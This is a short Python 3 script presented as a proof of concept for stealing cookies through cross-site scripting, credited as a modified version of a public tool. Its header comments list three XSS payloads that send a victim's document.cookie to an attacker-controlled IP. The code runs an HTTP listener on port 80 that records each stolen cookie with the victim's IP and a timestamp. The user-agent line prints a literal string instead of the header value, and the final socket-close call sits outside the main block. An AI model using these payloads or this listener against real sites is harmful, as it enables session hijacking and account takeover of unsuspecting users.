#!/usr/bin/env python3
# POC for cookie stealing through XSS
# Should work with:
# <script>image = new Image();image.src='http://X.X.X.X:8888/?'+document.cookie;</script>
# <script>var i=new Image;i.src="http://IP/?"+document.cookie;</script>
# <img src=x onerror="this.src='http://IP/?'+document.cookie; this.removeAttribute('onerror');">

# original version written by Ahmed Shawky @lnxg33k (https://github.com/lnxg33k/misc/blob/master/XSS-cookie-stealer.py)
# modified by Glasgow to be python3 compatible

from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
from datetime import datetime

class MyHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        query_components = parse_qs(urlparse(self.path).query)
        print("\n"*2)
        print("url:\t\t", self.path)
        print("timestamp / IP:\t", f"{datetime.now().strftime('%Y-%m-%d %I:%M %p')} - {self.client_address[0]}")
        print("user-agent:\t", "self.headers['user-agent']")
        print("-------------------"*6)

        for k, v in query_components.items():
            print(f"{k.strip()}\t\t{v}")

        return

    def log_message(self, format, *args):
        return

if __name__ == "__main__":
    try:
        server = HTTPServer(('0.0.0.0', 80), MyHandler)
        print('Started http server')
        server.serve_forever()
    except KeyboardInterrupt:
        print('^C received, shutting down server')
server.socket.close()
